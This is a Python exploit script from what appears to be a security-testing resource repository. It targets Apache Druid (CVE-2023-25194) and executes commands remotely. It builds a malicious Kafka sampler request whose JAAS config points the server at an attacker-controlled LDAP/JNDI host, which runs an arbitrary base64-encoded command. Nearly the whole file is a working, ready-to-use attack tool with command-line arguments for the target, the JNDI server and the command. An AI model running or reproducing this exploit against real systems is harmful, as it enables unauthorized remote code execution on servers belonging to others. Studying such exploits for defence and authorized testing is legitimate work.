cyber-security-resources/web_application_testing/additional_exploits/druid_exploit.py
2023-09-12 17:45:08 -04:00

135 lines
4.2 KiB
Python

'''
This script exploits the Druid RCE vulnerability (CVE-2023-25194) to execute commands on the target machine.
The script takes the following arguments:
-t, --target: target IP or hostname
-j, --jndi-ip: jndi_ip
-c, --cmd: command to execute
'''
import argparse
import base64
import requests
import json
def send_post_request(url, headers, data):
'''
send post request
:param url: url
:param headers: headers
:param data: data
:return: None
'''
response = requests.post(url, headers=headers, data=json.dumps(data))
status_code = response.status_code
content = response.content.decode('utf-8')
if status_code == 500 or 'createChannelBuilde' in content:
print('[+] Exploit Success ~')
else:
print('[-] Exploit maybe fail.')
def get_data(jndi_ip, cmd):
'''
Function to get data for POST request body
:param jndi_ip: jndi_ip
:param cmd: command to execute
:return: data
'''
data = {
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:6666",
"sasl.mechanism": "SCRAM-SHA-256",
"security.protocol": "SASL_SSL",
"sasl.jaas.config": f"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://{jndi_ip}:1389/Basic/Command/base64/{cmd}\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic": "test",
"useEarliestOffset": True,
"inputFormat": {
"type": "regex",
"pattern": "([\\s\\S]*)",
"listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965",
"columns": [
"raw"
]
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "!!!_no_such_column_!!!",
"missingValue": "1970-01-01T00:00:00Z"
},
"dimensionsSpec": {
},
"granularitySpec": {
"rollup": False
}
},
"tuningConfig": {
"type": "kafka"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
# print(data)
return data
def base64_encode(original_str):
'''
Function to encode string with base64
:param original_str: original string
:return: encoded string
'''
original_bytes = original_str.encode('utf-8')
encoded_bytes = base64.b64encode(original_bytes)
encoded_str = encoded_bytes.decode('utf-8')
return encoded_str
if __name__ == '__main__':
'''
The following are the arguments required for the script to run successfully
-t, --target: target IP or hostname
-j, --jndi-ip: jndi_ip
-c, --cmd: command to execute
'''
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', type=str, required=True, help='target IP or hostname')
parser.add_argument('-j', '--jndi-ip', type=str, required=True, help='jndi_ip')
parser.add_argument('-c', '--cmd', type=str, required=True, help='command to execute')
args = parser.parse_args()
# Target URL
url = f"http://{args.target}:8888/druid/indexer/v1/sampler"
print("[+] URL:" + url)
print("[+] Target IP:" + args.target)
print("[+] JNDI IP:" + args.jndi_ip)
print("[+] Command:" + args.cmd)
# Headers for POST request
headers = {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Accept-Language": "en-US;q=0.9,en;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36",
"Connection": "close",
"Cache-Control": "max-age=0",
"Content-Type": "application/json"
}
# Get data for POST request body
data = get_data(args.jndi_ip, base64_encode(args.cmd))
# Send POST request
send_post_request(url, headers, data)